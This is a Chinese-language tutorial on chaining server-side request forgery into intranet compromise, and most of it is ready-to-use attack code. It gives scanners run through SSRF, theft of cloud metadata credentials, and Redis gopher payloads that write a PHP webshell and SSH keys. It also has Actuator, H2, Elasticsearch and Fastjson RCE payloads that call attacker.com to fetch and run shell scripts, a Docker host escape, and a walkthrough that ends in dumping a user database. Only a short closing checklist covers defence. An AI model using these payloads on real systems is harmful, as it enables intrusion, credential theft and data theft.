一、攻击链概览
典型的 SSRF 内网攻击分 四步:
Step 1: 内网探测 -> 识别存活主机、开放端口、服务指纹 Step 2: 协议利用 -> 选择可用协议(gopher/dict/file)发起攻击 Step 3: 服务爆破 -> 根据指纹匹配已知未授权/弱口令漏洞 Step 4: 升级 RCE -> 通过写 webShell / 反序列化 / UDF 等方式拿 shell
二、Step 1:内网探测
2.1 IP 段扫描
# ip_scan.py - 通过 SSRF 扫描内网 IP
import requests, sys
SSRF = "http://target.com/proxy?url="
TARGET_RANGE = "192.168.1.{i}"
PORTS = [22, 80, 3306, 6379, 8080, 9000, 9200]
def check(ip):
for port in PORTS:
url = f"{SSRF}dict://{ip}:{port}/"
try:
r = requests.get(url, timeout=5)
if len(r.text) > 2 and "refused" not in r.text.lower() and "timeout" not in r.text.lower():
print(f"[+] {ip}:{port} OPEN")
return True
except Exception:
pass
return False
if __name__ == '__main__':
for i in range(1, 255):
ip = TARGET_RANGE.format(i=i)
if check(ip):
print(f"[*] {ip} is alive")
2.2 服务指纹识别
# fingerprint.py - 识别内网服务类型
SERVICE_FINGERPRINTS = {
'Redis': dict_commands=['PING', 'INFO'], # 返回 +PONG / $-1
'MySQL': dict_commands=[''], # 返回协议握手包
'MongoDB': dict_commands=['isMaster'],
'Elasticsearch': [ # http://ip:9200/
('GET', '/', '{cluster_name}'),
],
'SpringBoot': [ # http://ip:port/actuator
('GET', '/actuator', '_links'),
('GET', '/actuator/env', 'propertySources'),
],
'WebLogic': [ # http://ip:7001/console
('GET', '/console/', 'WebLogic Server'),
],
}
def identify(ip, port):
results = []
for svc, checks in SERVICE_FINGERPRINTS.items():
# dict 协议探测
for cmd in checks if isinstance(checks, list) else []:
# ... 实现细节略
pass
results.append(svc)
return results
2.3 通过 SSRF 探测云元数据
云环境(AWS/阿里云/GCP)下最肥的肉:
# cloud_metadata.py
CLOUD_META_URLS = {
'AWS': 'http://169.254.169.254/latest/meta-data/',
'Aliyun': 'http://100.100.100.200/latest/meta-data/',
'Tencent': 'http://metadata.tencentyun.com/latest/',
'Azure': 'http://169.254.169.254/metadata/instance?api-version=2021-02-01',
'GCP': 'http://metadata.google.internal/computeMetadata/v1/',
}
for name, url in CLOUD_META_URLS.items():
r = requests.get(f"{SSRF}{url}", timeout=5, headers={'Metadata-Flavor': 'Google'})
if r.status_code == 200 and len(r.text) > 0:
print(f"[+] {name}: {url}")
print(r.text[:500])
AWS 场景可进一步拿到 IAM 凭据:
# 列出所有实例元数据
list_roles = f"{SSRF}http://169.254.169.254/latest/meta-data/iam/security-credentials/"
r = requests.get(list_roles, timeout=5)
role_name = r.text.strip()
# 获取 AK/SK
cred_url = f"{SSRF}http://169.254.169.254/latest/meta-data/iam/security-credentials/{role_name}"
creds = requests.get(cred_url, timeout=5).json()
print(creds['AccessKeyId'], creds['SecretAccessKey'])
三、Step 2:Redis 未授权写 Shell
Redis 默认 6379 端口,无密码,配合 SSRF 直接打。
3.1 写入 WebShell(Web 目录已知)
# redis_webshell.py
import urllib.parse
def redis_cmd(cmd):
return f"gopher://127.0.0.1:6379/_" + urllib.parse.quote(cmd + "
", safe='')
# PHP WebShell payload
SHELL = b"
<?php eval($_POST['cmd']); ?>
"
cmds = [
f"SET pwn "{SHELL.decode()}"",
"CONFIG SET dir /var/www/html",
"CONFIG SET dbfilename shell.php",
"SAVE",
]
# 构造 gopher URL(单条请求发送多条命令)
raw = "".join(c + "
" for c in cmds)
gopher_url = "gopher://127.0.0.1:6379/_" + urllib.parse.quote(raw, safe='')
print(f"[+] Gopher URL:
{gopher_url}")
print(f"[+] 注入成功后访问 http://target.com/shell.php")
3.2 写 SSH 公钥(经典打法)
# redis_ssh.py
# 前提:目标服务器运行 Redis 并且 /root/.ssh 存在
PUBKEY = open('/home/attacker/.ssh/id_rsa.pub').read().strip()
cmds = [
'flushall',
f"SET payload "\n\n{PUBKEY}\n\n"",
'CONFIG SET dir /root/.ssh',
'CONFIG SET dbfilename authorized_keys',
'SAVE',
'CONFIG SET dir /var/lib/redis',
'CONFIG SET dbfilename dump.rdb',
]
# ... 拼接 gopher
print(f"[+] 写入 SSH 公钥成功,直接 ssh root@target")
3.3 利用主从复制加载恶意 SO(新版 Redis RCE)
适用于 Redis 4.x/5.x 的 RCE:
# 前提:攻击者控制一台 Redis 3.x master
# 1. 让目标 Redis 作为 slave 连过来
# 2. 同步恶意 .so
# 3. 执行 MODULE LOAD 加载 RCE 模块
# 启动恶意 Redis Master
python3 redis-rogue-server.py --listen-port 6379 --so-path exp.so
# SSRF 触发 SLAVEOF 命令
curl "http://target.com/ssrf?url=gopher://127.0.0.1:6379/_SLAVEOF%20attacker.com%206379%0d%0a"
curl "http://target.com/ssrf?url=gopher://127.0.0.1:6379/_CONFIG%20SET%20dbfilename%20exp.so%0d%0a"
curl "http://target.com/ssrf?url=gopher://127.0.0.1:6379/_MODULE%20LOAD%20./exp.so%0d%0a"
curl "http://target.com/ssrf?url=gopher://127.0.0.1:6379/_system.exec%20id%0d%0a"
四、Step 3:SpringBoot Actuator 利用
Actuator 是 SpringBoot 的监控端点,很多生产环境忘记关闭。
4.1 快速探测 Actuator
# actuator_scan.py
ACTUATOR_PATHS = [
'/actuator', '/actuator/env', '/actuator/heapdump',
'/actuator/configprops', '/actuator/beans', '/actuator/loggers',
'/actuator/refresh', '/env', '/heapdump', '/beans',
]
def check_actuator(ip, port):
for path in ACTUATOR_PATHS:
url = f"{SSRF}http://{ip}:{port}{path}"
try:
r = requests.get(url, timeout=3)
if r.status_code == 200 and len(r.text) > 5:
print(f"[+] http://{ip}:{port}{path} -> {len(r.text)} bytes")
if 'password' in r.text.lower() or 'secret' in r.text.lower():
print(" [!] 疑似存在敏感信息泄露!")
except Exception:
pass
4.2 SpringBoot 1.x /Druid /H2 控制台 RCE
# 通过 SSRF 访问 SpringBoot Actuator + refresh = 任意写配置 + JNDI
# 步骤:
# 1. 访问 /actuator/env 看到数据库连接串
# 2. POST /actuator/env 写入恶意 logback 配置
# 3. POST /actuator/refresh 热加载
# 4. 恶意 logback 触发 JNDI 注入拿 RCE
# 通过 gopher:// 发送 POST
import urllib.parse
payload = """POST /actuator/env HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
Content-Length: 180
{"name":"logging.config","value":"http://attacker.com/logback.xml"}"""
encoded = urllib.parse.quote(payload.replace("
", "
"), safe='')
gopher_url = f"gopher://127.0.0.1:8080/_{encoded}"
# 然后再 POST /actuator/refresh
print(f"[+] 第一步: {gopher_url}")
4.3 攻击 H2 控制台
SpringBoot 开发环境自带 H2 数据库控制台,默认路径 /h2-console,允许任意 SQL:
CREATE TABLE SHELL AS SELECT 'RUN /bin/sh -c "curl http://attacker.com/shell.sh|bash"' AS A;
INSERT INTO SHELL VALUES(1);
-- 触发执行(H2 的触发器/别名)
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd);return "ok";}';
CALL EXEC('id');
五、Step 4:Elasticsearch 任意文件写入
ES 老版本(< 6.0)有两个致命洞:任意文件读取 和 Groovy 脚本 RCE。
5.1 任意文件读取(ES 5.x)
# elasticsearch_read.py
# 使用 search function_score + 外部文件
import requests, urllib.parse
def read_file(path):
payload = {
"script_fields": {
"file": {
"script": {
"source": "new java.util.Scanner(new java.io.File('%s')).useDelimiter('\\\\A').next();" % path,
"lang": "painless"
}
}
},
"query": {"match_all": {}}
}
raw = f"POST /test/_search?pretty HTTP/1.1
Host: 127.0.0.1:9200
Content-Type: application/json
Content-Length: {len(str(payload))}
{payload}"
gopher_url = "gopher://127.0.0.1:9200/_" + urllib.parse.quote(raw.replace("
","
"), safe='')
return gopher_url
print(read_file('/etc/passwd'))
5.2 Groovy RCE(ES 1.x)
# elasticsearch_rce.py
groovy_poc = {
"aggs": {
"gen": {
"terms": {
"script":
"def cmd='id';Runtime.getRuntime().exec(cmd).text;",
"lang": "groovy",
"field": "1",
"order": {"_key": "desc"},
"size": 1
}
}
},
"size": 0
}
# ... 通过 gopher POST 到 /index/type/_search
六、Step 5:Fastjson 反序列化
Fastjson 漏洞经典组合:SSRF + Fastjson = 内网 RCE。
6.1 探测
# fastjson_detect.py
# 判断目标是否有 Fastjson 反序列化漏洞
import requests
FASTJSON_POCS = [
# 1.2.68 版本探测
'{"@type":"java.net.Inet4Address","val":"dnslog.attacker.com"}',
# 1.2.66 版本探测
'{"@type":"java.net.Inet4Address"{"val":"dnslog.attacker.com"}}',
]
for poc in FASTJSON_POCS:
try:
r = requests.post(f"{SSRF}http://inner-host:8080/api/rpc",
data=poc,
headers={'Content-Type': 'application/json'},
timeout=5)
print(f" -> {r.status_code} {len(r.text)} bytes")
except Exception as e:
print(f" ! error: {e}")
6.2 JNDI RCE 完整 payload
# fastjson_rce.py
# 前置:攻击者启动了恶意 LDAP 服务 (marshalsec / JNDI-Injection-Exploit)
def build_fastjson_gopher(target_host, target_port, attacker_ldap, cmd):
poc = f'''
{{
"@type": "java.lang.AutoCloseable",
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://{attacker_ldap}/Exploit",
"autoCommit": true
}}
'''
return build_gopher_http(target_host, target_port, '/api/rpc', 'POST',
{'Content-Type': 'application/json'}, poc.strip())
6.3 AutoType 绕过(CNVD 漏洞)
# fastjson_autotype_bypass.py
# 使用 @type 嵌套绕过 AutoType 检查
BYPASSES = [
# 1.2.68-1.2.80
'{"@type":"java.net.Inet4Address","val":"dnslog"}',
# 1.2.66
'{"@type":"java.net.Inet4Address"{"val":"dnslog"}}',
# 1.2.83 close 双写绕过
'{"@type":"java.lang.AutoCloseable", "@type":"java.net.Inet4Address","val":"dnslog"}',
]
七、Docker 环境:SSRF -> Containerd -> 宿主机
7.1 关键 API
# docker_api.py - SSRF 接管 Docker Daemon
DOCKER_HOST = "127.0.0.1:2375" # 常见监听端口
def docker_api_get(path):
raw = f"GET {path} HTTP/1.1
Host: {DOCKER_HOST}
Connection: close
"
return "gopher://" + DOCKER_HOST + "/_" + urllib.parse.quote(raw, safe='')
# 查看容器
print(docker_api_get("/containers/json"))
# 查看镜像
print(docker_api_get("/images/json"))
# 创建特权容器挂宿主机根目录 → 逃逸
7.2 创建特权容器逃逸宿主机
def create_privileged_container(image, cmd):
payload = {
"Image": image,
"Privileged": True,
"HostConfig": {
"Binds": ["/:/host"],
"NetworkMode": "host",
"CapAdd": ["ALL"]
},
"Cmd": cmd.split()
}
body = json.dumps(payload)
http_req = (
f"POST /containers/create?name=pwn HTTP/1.1
"
f"Host: {DOCKER_HOST}
"
f"Content-Type: application/json
"
f"Content-Length: {len(body)}
"
f"
{body}"
)
return "gopher://" + DOCKER_HOST + "/_" + urllib.parse.quote(http_req, safe='')
def start_container(container_id):
raw = f"POST /containers/{container_id}/start HTTP/1.1
Host: {DOCKER_HOST}
"
return "gopher://" + DOCKER_HOST + "/_" + urllib.parse.quote(raw, safe='')
拿到容器后执行:
# 在容器中执行,直接拿到宿主机 root
chroot /host /bin/bash
# 这样就完完全全进了宿主机根目录
八、实战案例:电商网站 SSRF 拿下内网
# 某电商网站图片功能未做协议限制
# 攻击过程:
[1] 探测 SSRF
GET /upload?url=http://169.254.169.254/latest/meta-data/
-> 返回 "i-xxx"(AWS metadata 成功访问)
[2] 拿 AK/SK
GET /upload?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role/
-> AccessKeyId / SecretAccessKey / Token
[3] 枚举内网主机
# 用 dict:// 扫描 10.0.0.0/24
[4] 发现 Redis 6379 未授权
# gopher:// 写 SSH 公钥到 10.0.0.12:6379
[5] SSH 进 Redis 机器(跳板机)
[6] 内网横向:发现 SpringBoot 未关 Actuator
[7] /actuator/heapdump 下载后 MAT 工具分析 -> 得到数据库密码
[8] 拿到数据库后导出用户数据 -> 完成拖库
九、防御清单
- SSRF 统一走代理,代理层做协议白名单 + IP 黑名单
- 云实例使用 IMDSv2(必须获取 Token 才能读 metadata)
- Redis / MySQL / MongoDB 等内网数据库强制密码 + 绑定 127.0.0.1
- Docker Daemon 不要监听 0.0.0.0:2375,用 TLS 加密 + 证书认证
- SpringBoot Actuator 只暴露必要端点 + 安全认证(spring-boot-starter-security)
- Elasticsearch / Kibana 开启 X-Pack / 基础认证
- Fastjson 升级到 2.x,或开启 safeMode
- H2 控制台 生产环境禁用(spring.h2.console.enabled=false)
- 日志中审计所有外发请求,包括 SSRF 相关 URL